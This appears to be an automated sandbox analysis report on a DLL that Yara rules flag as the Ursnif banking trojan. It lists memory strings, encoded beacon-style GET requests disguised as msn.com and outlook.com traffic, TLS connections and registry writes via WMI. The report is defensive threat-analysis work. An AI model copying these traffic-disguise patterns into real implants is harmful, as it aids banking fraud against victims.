Source: loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683447032.000000000309C000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681162627.00000000057EC000.00000004.00000040.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-neu/en-us/homepage/_sc/css/d7cb56b9-3a82770e/direct
Source: loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.700328393.0000000000A3D000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681162627.00000000057EC000.00000004.00000040.sdmp	String found in binary or memory: https://web.vortex.data.msn.com/collect/v1/t.gif?name=%27Ms.Webi.PageView%27&ver=%272.1%27&a
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://www.msn.com/
Source: rundll32.exe, 00000003.00000003.681162627.00000000057EC000.00000004.00000040.sdmp	String found in binary or memory: https://www.msn.com/?refurl=%2fmail%2fliopolo%2fA1Qp_2BWzai2O5%2fxac_2BRG3wzSilIBjQnWR%2fyH8MK_2FDey
Source: rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp	String found in binary or memory: https://www.msn.com/?refurl=%2fmail%2fliopolo%2fXqCHqVDXW8CZUpeu5peN_2%2fFydjgYTJtTmoC%2ffAo34oef%2f
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://www.msn.com/?refurl=%2fmail%2fliopolo%2fpf6_2FLREfP_2FxP%2fxGe8YUjshftOGCf%2fJTttK9QV
Source: loaddll32.exe, 00000000.00000003.683447032.000000000309C000.00000004.00000040.sdmp	String found in binary or memory: https://www.msn.com/?refurl=%2fmail%2fliopolo%2fpf6_2FLREfP_2FxP%2fxGe8YUjshftOGCf%2fJTttK9QVtKrTS7Q
Source: loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp	String found in binary or memory: https://www.msn.com/?refurl=%2fmail%2fliopolo%2fyn_2BPYQmJ20vgPRL3%2f3wjWE1bwH%2fDDPf_2FmyfN4qjiroAK
Source: loaddll32.exe, 00000000.00000003.683468251.000000000309B000.00000004.00000040.sdmp, loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506863078.0000000000AB2000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683376159.0000000000AC4000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506771882.0000000000AB7000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681194745.00000000057EB000.00000004.00000040.sdmp	String found in binary or memory: https://www.msn.com/en-us//api/modules/fetch"
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://www.msn.com/mail/liopolo/pf6_2FLREfP_2FxP/xGe8YUjshftOGCf/JTttK9QVtKrTS7QkWE/ZPLHtzaUx/XGEoZ
Source: loaddll32.exe, 00000000.00000003.506863078.0000000000AB2000.00000004.00000001.sdmp	String found in binary or memory: https://www.msn.com/mail/liopolo/yn_2BPYQmJ20vgPRL3/3wjWE1bwH/DDPf_2FmyfN4qjiroAKh/7sxv413IrGA7KcA9H
Source: loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.777718170.0000000000A17000.00000004.00000020.sdmp, loaddll32.exe, 00000000.00000002.779210722.0000000000A55000.00000004.00000020.sdmp	String found in binary or memory: https://www.outlook.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQp

Source: unknown

DNS traffic detected: queries for: msn.com

Source: global traffic	HTTP traffic detected: GET /mail/liopolo/XqCHqVDXW8CZUpeu5peN_2/FydjgYTJtTmoC/fAo34oef/chWHLvpFFUOYdiWXbNbnYW0/Rfy3HU21P_/2FwjKpEqeFo_2FxU6/0A_2BR4J2MVl/hx12NRqsjmC/kkNl1wduKuFf8Q/FUG3Ocqqzs1x_2BibuPx6/9auuC1P5josci_2B/vyxmzUWJ7gSzOqo/Jt7rxzWzdI7AYIGNrQ/e7oR22vyh/Me9W1V8u/5SwAx9Su/B.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: msn.com
Source: global traffic	HTTP traffic detected: GET /mail/liopolo/yn_2BPYQmJ20vgPRL3/3wjWE1bwH/DDPf_2FmyfN4qjiroAKh/7sxv413IrGA7KcA9Hu0/BYfxtbSdLKzFinzGkJGdmk/P_2Fifx7koRFQ/MIG6rk6P/jRWWDjWjz87k5xmFJxsJqsu/JDVOEV0_2F/rb6v_2FY3MQLb6_2F/gkDS2luFhYah/H5Mm0Y9iZUr/9_2FNXlrb5xId9/cAon_2FllX9wfUzSs9jRy/iECEQNsAU7oK/0.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: msn.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: www.outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.office365.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: www.outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.office365.com
Source: global traffic	HTTP traffic detected: GET /mail/liopolo/A1Qp_2BWzai2O5/xac_2BRG3wzSilIBjQnWR/yH8MK_2FDeyVZ7zs/MmgvT5kbS5J14SI/50tiJJe1m8aJQ2XT7T/rIRQt7iCb/CwoKyLq7nfSWQHvgpN7o/BCyQHF5XZOebIuFzT_2/BFFOtw4QHhKTLswkkvF9vD/aY9DT6JVICQxS/piqcZUHz/pQlXCrwUL0BTmEd_2FLWL2L/RH2uj8PySJ/d2LKLIyBddk3_2FhT/H.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: msn.com
Source: global traffic	HTTP traffic detected: GET /mail/liopolo/pf6_2FLREfP_2FxP/xGe8YUjshftOGCf/JTttK9QVtKrTS7QkWE/ZPLHtzaUx/XGEoZcanWnYYYh5pU8Em/GLDLy5GpGXwcg_2Bwck/kT4Zd7sERIG_2Bba1DdBVT/1BoxASA_2FDOZ/PsNxvKNH/RweAmXaL_2B7o4rtkWRlTX9/6ZU5YSIMnk/yFSTinelYwomOZkWD/rkossiVbXA0U/C_2FCIlnEO_/2FzjQ_2By_2FPmxqq/uw86.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: msn.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: www.outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.office365.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: www.outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.office365.com

Source: unknown	HTTPS traffic detected: 13.82.28.61:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.82.28.61:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.97.164.146:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.101.91.82:443 -> 192.168.2.7:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.183.162:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.97.164.146:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.151.114:443 -> 192.168.2.7:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.183.162:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.82.28.61:443 -> 192.168.2.7:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.82.28.61:443 -> 192.168.2.7:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.97.164.146:443 -> 192.168.2.7:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.137.178:443 -> 192.168.2.7:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.151.18:443 -> 192.168.2.7:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.97.164.146:443 -> 192.168.2.7:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.101.60.2:443 -> 192.168.2.7:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.97.151.18:443 -> 192.168.2.7:49841 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.785119761.00000000053F0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.638534724.0000000002D1F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498145572.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506367708.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.550238977.0000000002F1B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506469970.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506985927.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.500076992.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506632233.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.636450090.000000000546F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506394245.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506684501.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499560563.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.497950814.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498605690.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499306032.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783361786.0000000002CA0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506547628.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499390422.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499160942.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.592754619.000000000556D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506326169.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.546937803.000000000566B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.595315126.0000000002E1D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506579239.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.3050000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.419038437.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.446200223.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.455038196.0000000000850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.452964722.0000000000D70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.784698066.0000000005039000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783230082.0000000002B79000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.418099861.0000000000A60000.00000040.00000001.sdmp, type: MEMORY

Source: loaddll32.exe, 00000000.00000002.777229049.00000000009FB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.785119761.00000000053F0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.638534724.0000000002D1F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498145572.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506367708.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.550238977.0000000002F1B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506469970.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506985927.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.500076992.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506632233.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.636450090.000000000546F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506394245.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506684501.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499560563.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.497950814.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498605690.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499306032.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783361786.0000000002CA0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506547628.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499390422.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499160942.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.592754619.000000000556D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506326169.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.546937803.000000000566B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.595315126.0000000002E1D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506579239.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.3050000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.419038437.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.446200223.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.455038196.0000000000850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.452964722.0000000000D70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.784698066.0000000005039000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783230082.0000000002B79000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.418099861.0000000000A60000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: B6VQd36tt6.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 864

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\Windows\AppCompat\Programs\Amcache.hve.tmp

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6121B4
